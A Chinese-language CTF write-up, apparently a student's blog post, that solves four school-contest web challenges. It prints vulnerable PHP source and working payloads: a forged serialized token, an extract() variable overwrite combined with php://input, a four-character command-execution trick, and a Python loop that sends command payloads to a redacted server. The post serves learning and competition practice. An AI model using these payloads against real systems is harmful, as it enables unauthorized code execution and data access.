前言
这次校赛,不晓得自己在赣神魔,脑子有点抽
因为有点事来得晚了,就想着把web做完就行
结果其他简单题一道没看,比如re的burst is a good idea,足足300分啊
然后web还一堆骚操作,麻了
ctf果然还是拿分重要被pwn狗无情嘲讽
一、phpinfo
签到题啦,没啥好说的,所有同学都做出来了
打开环境直接拉到最下面就有flag
或者 f12 注释里有 flag
再或者 Ctrl + f 搜索 flag
二、ez反序列化
先上源码
<?php
show_source(__FILE__);
include("flag.php");
session_start();
$requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);
if(isset($requset['token'])){
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ZJPCTF')
{
echo $flag;
}
}
?>
代码审计一下,显然是要构*序列化来得到flag
鉴于都是小萌新,我就解释的稍微详细那么一丢丢
首先文件包含一个flag.php,显然flag就在flag.php里
接着通过get,post,session,cookie四种传参方式对request进行赋值
对request进行base64解密、gz解压缩、反序列化后赋值给login
最后判断login中user键对应的值是ZJPCTF就可以成功get flag啦!
解密思路很清晰,那么直接倒着加密一遍然后传参就行
<?php
$token = array("user"=>"ZJPCTF");
echo base64_encode(gzcompress(serialize($token)));
?>
# eJxLtDK0qi62MrFSKi1OLVKyLrYys1KK8gpwDnFTsq4FAIn4CMU=
所以最后payload:
/?token=eJxLtDK0qi62MrFSKi1OLVKyLrYys1KK8gpwDnFTsq4FAIn4CMU=
三、ssjh
这道题,真是一言难尽。。。
当时有事来晚了,时间不太够,这道题都没出 (主要是没搜到原题QAQ
上源码
<?php
show_source(__FILE__);
include("flag.php");
$flag='flag{xxx}';
extract($_GET);
if(isset($payload))
{
$content=trim(file_get_contents($flag));
if($payload==$content && $payload=='ssjh')
{
echo $flag1;
}
else
{
echo'try again';
}
}
?>
源码审计一下,这道题的考点在于 extract() 函数的变量覆盖漏洞
extract()
从数组中将变量导入到当前的符号表
$_GET
通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组。 注意:该数组不仅仅对 method 为 GET 的请求生效,而是会针对所有带 query string 的请求
这个漏洞挺可怕的,若是被黑客发现,而且有可控参数,也许就能造成意想不到的破坏,比如这题
if($payload==$content && $payload=='ssjh')
最终要构造的绕过点就在这里,乍一看好像挺简单的,只要payload和content相等并且payload=='ssjh’就行了
那我们直接传参/?payload=ssjh&content=ssjh不就好了???
当然不是,可以看到content是在extract($_GET)之后才给赋值的
$content=trim(file_get_contents($flag));
所以我们应该对$flag进行操作,那么问题又来了
file_get_contents()
将整个文件读入一个字符串
我怎么知道有什么文件,而且哪个文件里面内容是’ssjh’???
那显然,这道题肯定不是这么解的,后来给了hint:php伪协议
当时就很奇怪,伪协议能干哈,难不成远程写一个文件上去,内容是ssjh,然后再访问?大概试了一下,没有执行权限。时间不够,就这样无了
赛后问师兄,发现了新大陆
file_get_contents(“php://input”)的用法
https://www.cnblogs.com/lxwphp/p/11316144.html
所以最后payload:
/?payload=ssjh&flag=php://input
post : “ssjh”
我是菜狗,我自己爬
四、4字exec
这道题,做过了。。。当时没想起来 麻中麻
给了?cmd,那显然是rce
什么是RCE?
远程连接命令/代码执行漏洞,简称RCE漏洞,能够让攻击者直接向后台服务器远程写入服务器系统命令或者代码,从而控制后台系统。
这题当然不需要挖漏洞,直接传参就行,但是传参不能超过4个字符
这就很麻烦啊,毕竟正常来做的话确实很麻烦
我这里贴个师傅总结的帖子,总结的不错,学到了很多
https://blog.csdn.net/q20010619/article/details/109206728
但是赛后师兄就说了两句话
>cat
* /*
我觉得这个方法可以算非预期
女少口阿~~
但是鸡贼的17web狗还写了个后台任务,每秒去删除cat文件
所以要自己写python去跑
借鉴上面师傅博客的脚本
import requests
url = "http://***.***.**.**:****/?cmd={0}"
print("[+]start attack!!!")
res = ''
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
res += requests.get(url.format(i.strip())).text
with open("res.txt","w") as f:
f.write(res)
print("[+]attack success!!!")
打开保存的res.txt,搜索flag
结语
第一次在csdn写wp,师傅们轻点喷
总的来说,这次校赛是真简单,至于为啥没做出来因为蔡
哦对,还有一道diff web,这个涉及一些原因,我就先不写了,真有兴趣的师弟可以来找我交流下思路